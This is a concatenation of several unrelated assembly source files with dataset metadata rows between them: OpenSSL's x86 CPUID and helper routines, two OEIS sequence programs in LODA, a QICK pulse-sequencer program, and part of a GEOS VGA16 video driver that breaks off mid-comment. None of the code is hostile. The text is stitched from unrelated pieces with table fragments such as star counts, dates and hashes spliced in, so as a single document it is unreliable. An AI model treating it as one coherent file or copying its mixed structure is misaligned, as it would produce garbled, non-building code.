] | 1,432 | 2017-06-21T04:08:48.000Z | 2020-08-25T16:21:15.000Z | examples/pxScene2d/external/libnode-v6.9.0/deps/openssl/asm_obsolete/x86-win32-masm/x86cpuid.asm | madanagopaltcomcast/pxCore | c4a3a40a190521c8b6383d126c87612eca5b3c42 | [
"Apache-2.0"
] | 1,006 | 2016-09-27T05:17:27.000Z | 2022-03-30T02:46:51.000Z | TITLE x86cpuid.asm
IF @Version LT 800
ECHO MASM version 8.00 or later is strongly recommended.
ENDIF
.686
.XMM
IF @Version LT 800
XMMWORD STRUCT 16
DQ 2 dup (?)
XMMWORD ENDS
ENDIF
.MODEL FLAT
OPTION DOTNAME
IF @Version LT 800
.text$ SEGMENT PAGE 'CODE'
ELSE
.text$ SEGMENT ALIGN(64) 'CODE'
ENDIF
ALIGN 16
_OPENSSL_ia32_cpuid PROC PUBLIC
$L_OPENSSL_ia32_cpuid_begin::
push ebp
push ebx
push esi
push edi
xor edx,edx
pushfd
pop eax
mov ecx,eax
xor eax,2097152
push eax
popfd
pushfd
pop eax
xor ecx,eax
xor eax,eax
bt ecx,21
jnc $L000nocpuid
mov esi,DWORD PTR 20[esp]
mov DWORD PTR 8[esi],eax
cpuid
mov edi,eax
xor eax,eax
cmp ebx,1970169159
setne al
mov ebp,eax
cmp edx,1231384169
setne al
or ebp,eax
cmp ecx,1818588270
setne al
or ebp,eax
jz $L001intel
cmp ebx,1752462657
setne al
mov esi,eax
cmp edx,1769238117
setne al
or esi,eax
cmp ecx,1145913699
setne al
or esi,eax
jnz $L001intel
mov eax,2147483648
cpuid
cmp eax,2147483649
jb $L001intel
mov esi,eax
mov eax,2147483649
cpuid
or ebp,ecx
and ebp,2049
cmp esi,2147483656
jb $L001intel
mov eax,2147483656
cpuid
movzx esi,cl
inc esi
mov eax,1
xor ecx,ecx
cpuid
bt edx,28
jnc $L002generic
shr ebx,16
and ebx,255
cmp ebx,esi
ja $L002generic
and edx,4026531839
jmp $L002generic
$L001intel:
cmp edi,7
jb $L003cacheinfo
mov esi,DWORD PTR 20[esp]
mov eax,7
xor ecx,ecx
cpuid
mov DWORD PTR 8[esi],ebx
$L003cacheinfo:
cmp edi,4
mov edi,-1
jb $L004nocacheinfo
mov eax,4
mov ecx,0
cpuid
mov edi,eax
shr edi,14
and edi,4095
$L004nocacheinfo:
mov eax,1
xor ecx,ecx
cpuid
and edx,3220176895
cmp ebp,0
jne $L005notintel
or edx,1073741824
and ah,15
cmp ah,15
jne $L005notintel
or edx,1048576
$L005notintel:
bt edx,28
jnc $L002generic
and edx,4026531839
cmp edi,0
je $L002generic
or edx,268435456
shr ebx,16
cmp bl,1
ja $L002generic
and edx,4026531839
$L002generic:
and ebp,2048
and ecx,4294965247
mov esi,edx
or ebp,ecx
bt ecx,27
jnc $L006clear_avx
xor ecx,ecx
DB 15,1,208
and eax,6
cmp eax,6
je $L007done
cmp eax,2
je $L006clear_avx
$L008clear_xmm:
and ebp,4261412861
and esi,4278190079
$L006clear_avx:
and ebp,4026525695
mov edi,DWORD PTR 20[esp]
and DWORD PTR 8[edi],4294967263
$L007done:
mov eax,esi
mov edx,ebp
$L000nocpuid:
pop edi
pop esi
pop ebx
pop ebp
ret
_OPENSSL_ia32_cpuid ENDP
;EXTERN _OPENSSL_ia32cap_P:NEAR
ALIGN 16
_OPENSSL_rdtsc PROC PUBLIC
$L_OPENSSL_rdtsc_begin::
xor eax,eax
xor edx,edx
lea ecx,DWORD PTR _OPENSSL_ia32cap_P
bt DWORD PTR [ecx],4
jnc $L009notsc
rdtsc
$L009notsc:
ret
_OPENSSL_rdtsc ENDP
ALIGN 16
_OPENSSL_instrument_halt PROC PUBLIC
$L_OPENSSL_instrument_halt_begin::
lea ecx,DWORD PTR _OPENSSL_ia32cap_P
bt DWORD PTR [ecx],4
jnc $L010nohalt
DD 2421723150
and eax,3
jnz $L010nohalt
pushfd
pop eax
bt eax,9
jnc $L010nohalt
rdtsc
push edx
push eax
hlt
rdtsc
sub eax,DWORD PTR [esp]
sbb edx,DWORD PTR 4[esp]
add esp,8
ret
$L010nohalt:
xor eax,eax
xor edx,edx
ret
_OPENSSL_instrument_halt ENDP
ALIGN 16
_OPENSSL_far_spin PROC PUBLIC
$L_OPENSSL_far_spin_begin::
pushfd
pop eax
bt eax,9
jnc $L011nospin
mov eax,DWORD PTR 4[esp]
mov ecx,DWORD PTR 8[esp]
DD 2430111262
xor eax,eax
mov edx,DWORD PTR [ecx]
jmp $L012spin
ALIGN 16
$L012spin:
inc eax
cmp edx,DWORD PTR [ecx]
je $L012spin
DD 529567888
ret
$L011nospin:
xor eax,eax
xor edx,edx
ret
_OPENSSL_far_spin ENDP
ALIGN 16
_OPENSSL_wipe_cpu PROC PUBLIC
$L_OPENSSL_wipe_cpu_begin::
xor eax,eax
xor edx,edx
lea ecx,DWORD PTR _OPENSSL_ia32cap_P
mov ecx,DWORD PTR [ecx]
bt DWORD PTR [ecx],1
jnc $L013no_x87
and ecx,83886080
cmp ecx,83886080
jne $L014no_sse2
pxor xmm0,xmm0
pxor xmm1,xmm1
pxor xmm2,xmm2
pxor xmm3,xmm3
pxor xmm4,xmm4
pxor xmm5,xmm5
pxor xmm6,xmm6
pxor xmm7,xmm7
$L014no_sse2:
DD 4007259865,4007259865,4007259865,4007259865
DD 2430851995
$L013no_x87:
lea eax,DWORD PTR 4[esp]
ret
_OPENSSL_wipe_cpu ENDP
ALIGN 16
_OPENSSL_atomic_add PROC PUBLIC
$L_OPENSSL_atomic_add_begin::
mov edx,DWORD PTR 4[esp]
mov ecx,DWORD PTR 8[esp]
push ebx
nop
mov eax,DWORD PTR [edx]
$L015spin:
lea ebx,DWORD PTR [ecx*1+eax]
nop
DD 447811568
jne $L015spin
mov eax,ebx
pop ebx
ret
_OPENSSL_atomic_add ENDP
ALIGN 16
_OPENSSL_indirect_call PROC PUBLIC
$L_OPENSSL_indirect_call_begin::
push ebp
mov ebp,esp
sub esp,28
mov ecx,DWORD PTR 12[ebp]
mov DWORD PTR [esp],ecx
mov edx,DWORD PTR 16[ebp]
mov DWORD PTR 4[esp],edx
mov eax,DWORD PTR 20[ebp]
mov DWORD PTR 8[esp],eax
mov eax,DWORD PTR 24[ebp]
mov DWORD PTR 12[esp],eax
mov eax,DWORD PTR 28[ebp]
mov DWORD PTR 16[esp],eax
mov eax,DWORD PTR 32[ebp]
mov DWORD PTR 20[esp],eax
mov eax,DWORD PTR 36[ebp]
mov DWORD PTR 24[esp],eax
call DWORD PTR 8[ebp]
mov esp,ebp
pop ebp
ret
_OPENSSL_indirect_call ENDP
ALIGN 16
_OPENSSL_cleanse PROC PUBLIC
$L_OPENSSL_cleanse_begin::
mov edx,DWORD PTR 4[esp]
mov ecx,DWORD PTR 8[esp]
xor eax,eax
cmp ecx,7
jae $L016lot
cmp ecx,0
je $L017ret
$L018little:
mov BYTE PTR [edx],al
sub ecx,1
lea edx,DWORD PTR 1[edx]
jnz $L018little
$L017ret:
ret
ALIGN 16
$L016lot:
test edx,3
jz $L019aligned
mov BYTE PTR [edx],al
lea ecx,DWORD PTR [ecx-1]
lea edx,DWORD PTR 1[edx]
jmp $L016lot
$L019aligned:
mov DWORD PTR [edx],eax
lea ecx,DWORD PTR [ecx-4]
test ecx,-4
lea edx,DWORD PTR 4[edx]
jnz $L019aligned
cmp ecx,0
jne $L018little
ret
_OPENSSL_cleanse ENDP
ALIGN 16
_OPENSSL_ia32_rdrand PROC PUBLIC
$L_OPENSSL_ia32_rdrand_begin::
mov ecx,8
$L020loop:
DB 15,199,240
jc $L021break
loop $L020loop
$L021break:
cmp eax,0
cmove eax,ecx
ret
_OPENSSL_ia32_rdrand ENDP
ALIGN 16
_OPENSSL_ia32_rdseed PROC PUBLIC
$L_OPENSSL_ia32_rdseed_begin::
mov ecx,8
$L022loop:
DB 15,199,248
jc $L023break
loop $L022loop
$L023break:
cmp eax,0
cmove eax,ecx
ret
_OPENSSL_ia32_rdseed ENDP
.text$ ENDS
.bss SEGMENT 'BSS'
COMM _OPENSSL_ia32cap_P:DWORD:4
.bss ENDS
.CRT$XCU SEGMENT DWORD PUBLIC 'DATA'
EXTERN _OPENSSL_cpuid_setup:NEAR
DD _OPENSSL_cpuid_setup
.CRT$XCU ENDS
END
| 16.288828 | 56 | 0.75276 |
171f57fff36bde53f5c82ed92575386c9eaffd3d | 659 | asm | Assembly | oeis/121/A121201.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 11 | 2021-08-22T19:44:55.000Z | 2022-03-20T16:47:57.000Z | oeis/121/A121201.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 9 | 2021-08-29T13:15:54.000Z | 2022-03-09T19:52:31.000Z | oeis/121/A121201.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 3 | 2021-08-22T20:56:47.000Z | 2021-09-29T06:26:12.000Z | ; A121201: 7^n+5^n-2n.
; Submitted by Jamie Morken(s3)
; 2,10,70,462,3018,19922,133262,901654,6155410,42306714,292240854,2026154846,14085427802,98109713506,684326588446,4778079088038,33385518460194,233393453440298,1632228295176038,11417968671701230,79887633729252586,559022701241487090,3912205234374003630,27380668269035994422,191640836025341804978,1341366642887841853882,9388970453767139071222,65719812944131203967614,460023789447724580117370,3220092020328102822540674,22540271613266873566378814,157780038647718884007620806,1104450957308286033268189762
mov $1,7
pow $1,$0
add $1,3
mov $2,5
pow $2,$0
mul $0,2
add $1,$2
sub $1,2
sub $1,$0
mov $0,$1
sub $0,1
| 41.1875 | 498 | 0.843703 |
a2629672e17687ced095df1d2a211a125aa2d080 | 772 | asm | Assembly | programs/oeis/163/A163811.asm | jmorken/loda | 99c09d2641e858b074f6344a352d13bc55601571 | [
"Apache-2.0"
] | 1 | 2021-03-15T11:38:20.000Z | 2021-03-15T11:38:20.000Z | programs/oeis/163/A163811.asm | jmorken/loda | 99c09d2641e858b074f6344a352d13bc55601571 | [
"Apache-2.0"
] | null | null | null | programs/oeis/163/A163811.asm | jmorken/loda | 99c09d2641e858b074f6344a352d13bc55601571 | [
"Apache-2.0"
] | null | null | null | ; A163811: Expansion of (1 - x) * (1 - x^10) / ((1 - x^5) * (1 - x^6)) in powers of x.
; 1,-1,0,0,0,1,0,-1,0,0,0,1,0,-1,0,0,0,1,0,-1,0,0,0,1,0,-1,0,0,0,1,0,-1,0,0,0,1,0,-1,0,0,0,1,0,-1,0,0,0,1,0,-1,0,0,0,1,0,-1,0,0,0,1,0,-1,0,0,0,1,0,-1,0,0,0,1,0,-1,0,0,0,1,0,-1,0,0,0,1,0,-1,0,0,0,1,0,-1,0,0,0,1,0,-1,0,0,0,1,0,-1,0,0,0,1,0,-1,0,0,0,1,0,-1,0,0,0,1,0,-1,0,0,0,1,0,-1,0,0,0,1,0,-1,0,0,0,1,0,-1,0,0,0,1,0,-1,0,0,0,1,0,-1,0,0,0,1,0,-1,0,0,0,1,0,-1,0,0,0,1,0,-1,0,0,0,1,0,-1,0,0,0,1,0,-1,0,0,0,1,0,-1,0,0,0,1,0,-1,0,0,0,1,0,-1,0,0,0,1,0,-1,0,0,0,1,0,-1,0,0,0,1,0,-1,0,0,0,1,0,-1,0,0,0,1,0,-1,0,0,0,1,0,-1,0,0,0,1,0,-1,0,0,0,1,0,-1,0,0
add $0,3
lpb $0
add $1,$0
add $0,1
gcd $1,2
div $0,$1
sub $0,3
mul $0,2
mul $1,$0
mov $2,1
lpe
mov $1,$0
mul $1,$2
div $1,2
| 42.888889 | 543 | 0.463731 |
0cb58181a7b3086b787fb5f1d08cf919f2d37f6c | 1,185 | asm | Assembly | qick_demos/03b.asm | Fermilab-Quantum-Science/qick_interpreter | 08eed3c63a3ff83da9d11a9c681e6a1c9596e413 | [
"MIT"
] | null | null | null | qick_demos/03b.asm | Fermilab-Quantum-Science/qick_interpreter | 08eed3c63a3ff83da9d11a9c681e6a1c9596e413 | [
"MIT"
] | null | null | null | qick_demos/03b.asm | Fermilab-Quantum-Science/qick_interpreter | 08eed3c63a3ff83da9d11a9c681e6a1c9596e413 | [
"MIT"
] | null | null | null | // Program
regwi 0, $1, 50;
regwi 0, $2, 10;
regwi 3, $16, 69905067; //freq = 100.00000047683716 MHz
regwi 3, $17, 0; //phase = 0
regwi 3, $19, 1000; //gain = 1000
regwi 3, $21, 0; //t = 0
regwi 3, $20, 589844; //stdysel | mode | outsel = 0b01001 | length = 20
synci 200;
regwi 0, $15, 0;
regwi 0, $14, 0;
LOOP_J: regwi 0, $31, 49152; //out = 0b1100000000000000
seti 0, 0, $31, 100; //ch =0 out = $31 @t = 0
regwi 0, $31, 0; //out = 0b0000000000000000
seti 0, 0, $31, 110; //ch =0 out = $31 @t = 0
condj 0, $2, <, $1, @LABEL;
regwi 3, $20, 589844; //stdysel | mode | outsel = 0b01001 | length = 20
regwi 3, $21, 0; //t = 0
set 7, 3, $16, $17, $18, $19, $20, $21; //ch = 7, out = $16,$18,$19,$20 @t = $21
LABEL: synci 20;
mathi 0, $15, $15, +, 1;
memwi 0, $15, 1;
loopnz 0, $14, @LOOP_J;
end;
| 45.576923 | 98 | 0.378903 |
5bf14447d9a5667f18c2e80cb33daa25549f8f67 | 542 | asm | Assembly | programs/oeis/315/A315307.asm | neoneye/loda | afe9559fb53ee12e3040da54bd6aa47283e0d9ec | [
"Apache-2.0"
] | 22 | 2018-02-06T19:19:31.000Z | 2022-01-17T21:53:31.000Z | programs/oeis/315/A315307.asm | neoneye/loda | afe9559fb53ee12e3040da54bd6aa47283e0d9ec | [
"Apache-2.0"
] | 41 | 2021-02-22T19:00:34.000Z | 2021-08-28T10:47:47.000Z | programs/oeis/315/A315307.asm | neoneye/loda | afe9559fb53ee12e3040da54bd6aa47283e0d9ec | [
"Apache-2.0"
] | 5 | 2021-02-24T21:14:16.000Z | 2021-08-09T19:48:05.000Z | ; A315307: Coordination sequence Gal.6.616.6 where G.u.t.v denotes the coordination sequence for a vertex of type v in tiling number t in the Galebach list of u-uniform tilings.
; 1,6,10,16,20,26,30,36,40,46,50,56,62,66,72,76,82,86,92,96,102,106,112,118,122,128,132,138,142,148,152,158,162,168,174,178,184,188,194,198,204,208,214,218,224,230,234,240,244,250
mov $2,$0
mov $4,$0
mov $0,2
mul $4,3
lpb $0
mul $4,$0
div $0,10
add $4,5
div $4,11
lpe
pow $0,$4
add $0,$4
mov $5,$4
add $5,2
add $0,$5
sub $0,2
mov $3,$2
mul $3,4
add $0,$3
| 23.565217 | 179 | 0.667897 |
87fd9bb6092bb773bf57db06741d3a9b00d7fbbf | 139 | asm | Assembly | CPU/cpu_test/test_storage/ov.asm | SilenceX12138/MIPS-Microsystems | d389b706b0930151a710b544db436c2883af958b | [
"MIT"
] | 55 | 2021-09-06T12:12:47.000Z | 2022-01-15T04:30:53.000Z | CPU/cpu_test/test_storage/ov.asm | SilenceX12138/MIPS-Microsystems | d389b706b0930151a710b544db436c2883af958b | [
"MIT"
] | null | null | null | CPU/cpu_test/test_storage/ov.asm | SilenceX12138/MIPS-Microsystems | d389b706b0930151a710b544db436c2883af958b | [
"MIT"
] | null | null | null | .text 0x4180
li $t1,0
eret
.text 0x3000
li $t1,0x7fffffff
li $t2,0x7fffffff
add $t3,$t2,$t1
mult $t1,$t2
mflo $3
addi $3,$3,1
| 9.928571 | 18 | 0.618705 |
ef117313dd4f1aa4c81dcb26b79b6e8d6e085220 | 856 | asm | Assembly | libsrc/_DEVELOPMENT/im2/z80/asm_im2_append_generic_callback.asm | jpoikela/z88dk | 7108b2d7e3a98a77de99b30c9a7c9199da9c75cb | [
"ClArtistic"
] | 640 | 2017-01-14T23:33:45.000Z | 2022-03-30T11:28:42.000Z | libsrc/_DEVELOPMENT/im2/z80/asm_im2_append_generic_callback.asm | jpoikela/z88dk | 7108b2d7e3a98a77de99b30c9a7c9199da9c75cb | [
"ClArtistic"
] | 1,600 | 2017-01-15T16:12:02.000Z | 2022-03-31T12:11:12.000Z | libsrc/_DEVELOPMENT/im2/z80/asm_im2_append_generic_callback.asm | jpoikela/z88dk | 7108b2d7e3a98a77de99b30c9a7c9199da9c75cb | [
"ClArtistic"
] | 215 | 2017-01-17T10:43:03.000Z | 2022-03-23T17:25:02.000Z |
; ===============================================================
; Apr 2004
; ===============================================================
;
; void im2_append_generic_callback(uint8_t vector, void *callback)
;
; Append the callback function to the end of the generic isr's
; callback array. The generic isr is assumed to be installed on
; the vector given.
;
; ===============================================================
SECTION code_clib
SECTION code_im2
PUBLIC asm_im2_append_generic_callback
EXTERN __generic_isr_locate_callbacks
asm_im2_append_generic_callback:
; enter : l = interrupt vector
; de = void *callback
;
; uses : af, bc, de, hl
call __generic_isr_locate_callbacks
loop:
ld a,(hl)
inc hl
or (hl)
inc hl
jr nz, loop
dec hl
ld (hl),d
dec hl
ld (hl),e
ret
| 19.454545 | 66 | 0.521028 |
9c9e34d9a21dc31cfcb8605e2df0365417d3a30e | 744 | asm | Assembly | programs/oeis/017/A017642.asm | neoneye/loda | afe9559fb53ee12e3040da54bd6aa47283e0d9ec | [
"Apache-2.0"
] | 22 | 2018-02-06T19:19:31.000Z | 2022-01-17T21:53:31.000Z | programs/oeis/017/A017642.asm | neoneye/loda | afe9559fb53ee12e3040da54bd6aa47283e0d9ec | [
"Apache-2.0"
] | 41 | 2021-02-22T19:00:34.000Z | 2021-08-28T10:47:47.000Z | programs/oeis/017/A017642.asm | neoneye/loda | afe9559fb53ee12e3040da54bd6aa47283e0d9ec | [
"Apache-2.0"
] | 5 | 2021-02-24T21:14:16.000Z | 2021-08-09T19:48:05.000Z | ; A017642: a(n) = (12*n+10)^2.
; 100,484,1156,2116,3364,4900,6724,8836,11236,13924,16900,20164,23716,27556,31684,36100,40804,45796,51076,56644,62500,68644,75076,81796,88804,96100,103684,111556,119716,128164,136900,145924,155236,164836,174724,184900,195364,206116,217156,228484,240100,252004,264196,276676,289444,302500,315844,329476,343396,357604,372100,386884,401956,417316,432964,448900,465124,481636,498436,515524,532900,550564,568516,586756,605284,624100,643204,662596,682276,702244,722500,743044,763876,784996,806404,828100,850084,872356,894916,917764,940900,964324,988036,1012036,1036324,1060900,1085764,1110916,1136356,1162084,1188100,1214404,1240996,1267876,1295044,1322500,1350244,1378276,1406596,1435204
mul $0,12
add $0,10
pow $0,2
| 106.285714 | 682 | 0.823925 |
9ec353e67181d0b13503ed9d4c46962156cb0def | 352 | asm | Assembly | Tests/Core/DataDirectivesInvalid/DataDirectivesInvalid.asm | georgjz/armips | a8c277ca2e4bd90350f56e4adbcf9a99e8df9644 | [
"MIT"
] | 1 | 2017-03-24T12:19:07.000Z | 2017-03-24T12:19:07.000Z | Tests/Core/DataDirectivesInvalid/DataDirectivesInvalid.asm | georgjz/armips | a8c277ca2e4bd90350f56e4adbcf9a99e8df9644 | [
"MIT"
] | null | null | null | Tests/Core/DataDirectivesInvalid/DataDirectivesInvalid.asm | georgjz/armips | a8c277ca2e4bd90350f56e4adbcf9a99e8df9644 | [
"MIT"
] | null | null | null | .gba
.create "output.bin",0
// Test .ascii with non-ASCII character
.ascii "é"
.asciiz "é"
// Test basic data directives with non-ASCII character
.byte "é"
.halfword "é"
.word "é"
.doubleword "é"
.db "é"
.dh "é"
.dw "é"
.dd "é"
.dcb "é"
.dcw "é"
.dcd "é"
.dcq "é"
db "é"
dh "é"
dw "é"
dd "é"
dcb "é"
dcw "é"
dcd "é"
dcq "é"
.close
| 11.354839 | 54 | 0.559659 |
9bb78e39aeaab0d1db18c12150328f36dafaae4a | 69 | asm | Assembly | src/main/fragment/mos6502-common/vdum1=_makelong4_(vbum2)_(vbum3)_(vbuaa)_(vbum4).asm | jbrandwood/kickc | d4b68806f84f8650d51b0e3ef254e40f38b0ffad | [
"MIT"
] | 2 | 2022-03-01T02:21:14.000Z | 2022-03-01T04:33:35.000Z | src/main/fragment/mos6502-common/vdum1=_makelong4_(vbum2)_(vbum3)_(vbuaa)_(vbum4).asm | jbrandwood/kickc | d4b68806f84f8650d51b0e3ef254e40f38b0ffad | [
"MIT"
] | null | null | null | src/main/fragment/mos6502-common/vdum1=_makelong4_(vbum2)_(vbum3)_(vbuaa)_(vbum4).asm | jbrandwood/kickc | d4b68806f84f8650d51b0e3ef254e40f38b0ffad | [
"MIT"
] | null | null | null | sta {m1}+2
lda {m2}
sta {m1}
lda {m3}
sta {m1}+1
lda {m4}
sta {m1}+3
| 8.625 | 10 | 0.550725 |
0dd0fcd258b29d85033daa9f62d3701206d8732d | 465 | asm | Assembly | data/pokemon/base_stats/sinnoh/shieldon.asm | Dev727/ancientplatinum | 8b212a1728cc32a95743e1538b9eaa0827d013a7 | [
"blessing"
] | null | null | null | data/pokemon/base_stats/sinnoh/shieldon.asm | Dev727/ancientplatinum | 8b212a1728cc32a95743e1538b9eaa0827d013a7 | [
"blessing"
] | null | null | null | data/pokemon/base_stats/sinnoh/shieldon.asm | Dev727/ancientplatinum | 8b212a1728cc32a95743e1538b9eaa0827d013a7 | [
"blessing"
] | null | null | null | db 0 ; 410 DEX NO
db 30, 42, 118, 30, 42, 88
; hp atk def spd sat sdf
db ROCK, STEEL ; type
db 45 ; catch rate
db 99 ; base exp
db NO_ITEM, NO_ITEM ; items
db GENDER_F12_5 ; gender ratio
db 100 ; unknown 1
db 30 ; step cycles to hatch
db 5 ; unknown 2
INCBIN "gfx/pokemon/sinnoh/shieldon/front.dimensions"
db 0, 0, 0, 0 ; padding
db GROWTH_ERRATIC ; growth rate
dn EGG_MONSTER, EGG_MONSTER ; egg groups
; tm/hm learnset
tmhm
; end
| 21.136364 | 54 | 0.664516 |
4f741a12f4d712897a8d0b739c41f3d4cd6de997 | 574 | asm | Assembly | oeis/053/A053001.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 11 | 2021-08-22T19:44:55.000Z | 2022-03-20T16:47:57.000Z | oeis/053/A053001.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 9 | 2021-08-29T13:15:54.000Z | 2022-03-09T19:52:31.000Z | oeis/053/A053001.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 3 | 2021-08-22T20:56:47.000Z | 2021-09-29T06:26:12.000Z | ; A053001: Largest prime < n^2.
; 3,7,13,23,31,47,61,79,97,113,139,167,193,223,251,283,317,359,397,439,479,523,571,619,673,727,773,839,887,953,1021,1087,1153,1223,1291,1367,1439,1511,1597,1669,1759,1847,1933,2017,2113,2207,2297,2399,2477,2593,2699,2803,2909,3023,3121,3229,3361,3469,3593,3719,3833,3967,4093,4219,4349,4483,4621,4759,4889,5039,5179,5323,5471,5623,5749,5927,6079,6229,6397,6553,6719,6883,7043,7219,7393,7561,7741,7919,8093,8273,8461,8647,8831,9013,9209,9403,9601,9791,9973,10193
add $0,2
pow $0,2
sub $0,3
div $0,2
seq $0,60265 ; Largest prime less than 2n.
| 63.777778 | 461 | 0.752613 |
5f3db2461ca25826a322321b80124e630b25c6aa | 23,303 | asm | Assembly | Driver/Video/VGAlike/VGA16/vga16Admin.asm | mgroeber9110/pcgeos | 5b4f03b347444841cd940a1c04eee6acd19bb199 | [
"Apache-2.0"
] | 3 | 2020-10-13T21:11:02.000Z | 2021-04-19T16:22:58.000Z | Driver/Video/VGAlike/VGA16/vga16Admin.asm | bromichaelhenry/pcgeos | 83807b2d5628a07a72a2d5a5615a658be34dd6b1 | [
"Apache-2.0"
] | null | null | null | Driver/Video/VGAlike/VGA16/vga16Admin.asm | bromichaelhenry/pcgeos | 83807b2d5628a07a72a2d5a5615a658be34dd6b1 | [
"Apache-2.0"
] | null | null | null | COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
Copyright (c) GlobalPC 1998 -- All Rights Reserved
PROJECT: PC GEOS
MODULE: VGA16 Video Driver
FILE: vga16Admin.asm
AUTHOR: Jim DeFrisco
ROUTINES:
Name Description
---- -----------
VidScreenOn turn on video
VidScreenOff turn off video
REVISION HISTORY:
Name Date Description
---- ---- -----------
jim 10/92 initial version
FR 09/97 update for 16 bit devices
DESCRIPTION:
This file contains routines to implement some of the administrative
parts of the driver.
$Id: vga16Admin.asm,v 1.2$
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
VidSegment Misc
if NT_DRIVER
idata segment
vddHandle word 0 ; used by NT driver
idata ends
DllName DB "GEOSVDD.DLL",0
InitFunc DB "VDDRegisterInit",0
DispFunc DB "VDDDispatch",0
yScreenSizeStr char "yScreenSize", 0
screenSizeCategoryStr char "ui", 0
InitVideoDLL proc near
push ds, es
push ax, si, di, bx, dx
;
; Find out how big they want the screen to be by checking the .ini file
;
segmov ds, cs, cx
mov si, offset screenSizeCategoryStr
mov dx, offset yScreenSizeStr
call InitFileReadInteger
jnc afterY
mov ax, 480 ; default to height of 480
; mov ax, 200
afterY:
push ax ; screen height
mov ax, cs
mov ds, ax
mov es, ax
;
; Register the dll
;
; Load ioctlvdd.dll
mov si, offset DllName ; ds:si = dll name
mov di, offset InitFunc ; es:di = init routine
mov bx, offset DispFunc ; ds:bx = dispatch routine
RegisterModule
mov si, dgroup
mov ds, si
mov ds:[vddHandle], ax
pop cx ; screen size
mov bx, 113 ; VDD_FUNC_SET_BPP
mov cx, 16 ; 4 bits per pixel
DispatchCall
mov dx, 800
mov cx, 600
mov bx, 108 ; VDD_CREATE_WINDOW ; create window
DispatchCall
;
; Clear video memory
;
mov cx, 65536 / 2
mov ax, 0xA000
mov es, ax
clr ax, di
rep stosw
pop ax, si, di, bx, dx
pop ds, es
ret
InitVideoDLL endp
endif ; WINNT
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
VidScreenOff
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: Disable video output, for a screen saver
CALLED BY: GLOBAL
PASS: nothing
RETURN: nothing
DESTROYED: nothing
PSEUDO CODE/STRATEGY:
Disable the video output
KNOWN BUGS/SIDE EFFECTS/IDEAS:
none
REVISION HISTORY:
Name Date Description
---- ---- -----------
Jim 12/89 Initial version
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
if NT_DRIVER
VidScreenOff proc far
ret
VidScreenOff endp
else
VidScreenOff proc far
.enter
; first see if the screen is already blank
dec ss:videoEnabled ; is it enabled
js tooFar ; oops, called it to often
jne done ; someone still wants it off
; now do the disable thing.
mov ah, ALT_SELECT ; choose BIOS function number
mov bl, VIDEO_SCREEN_ON_OFF ; choose sub-function number
mov al, VGA_DISABLE_VIDEO ; disable it this time
int VIDEO_BIOS
done:
.leave
ret
; decremented too far, get back to zero
tooFar:
mov ss:videoEnabled, 0
jmp done
VidScreenOff endp
endif ; NT_DRIVER
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
VidScreenOn
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: Enable video output, for a screen saver
CALLED BY: GLOBAL
PASS: nothing
RETURN: nothing
DESTROYED: nothing
PSEUDO CODE/STRATEGY:
Disable the video output
KNOWN BUGS/SIDE EFFECTS/IDEAS:
none
REVISION HISTORY:
Name Date Description
---- ---- -----------
Jim 12/89 Initial version
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
if NT_DRIVER
VidScreenOn proc far
ret
VidScreenOn endp
else ; NT_DRIVER
VidScreenOn proc far
.enter
; first see if the screen is already enabled
inc ss:videoEnabled ; check for turn on
cmp ss:videoEnabled, 1 ; is it enabled
jg done ; yes, don't do it again
mov ss:videoEnabled, 1 ; no, make sure it;s one
; enable video signal on card
mov ah, ALT_SELECT ; choose BIOS function number
mov bl, VIDEO_SCREEN_ON_OFF ; choose sub-function number
mov al, VGA_ENABLE_VIDEO ; disable video signal
int VIDEO_BIOS
done:
.leave
ret
VidScreenOn endp
endif ; NT_DRIVER
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
VidTestVGA16
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: Test for 640x480 16bit VESA mode
CALLED BY: INTERNAL
VidTestDevice
PASS: nothing
RETURN: ax - DevicePresent enum
DESTROYED: nothing
PSEUDO CODE/STRATEGY:
KNOWN BUGS/SIDE EFFECTS/IDEAS:
REVISION HISTORY:
Name Date Description
---- ---- -----------
jim 10/ 6/92 Initial version
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
VidTestVGA16 proc near
mov ax, VD_VESA_640x480_16
call VidTestVESA
ret
VidTestVGA16 endp
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
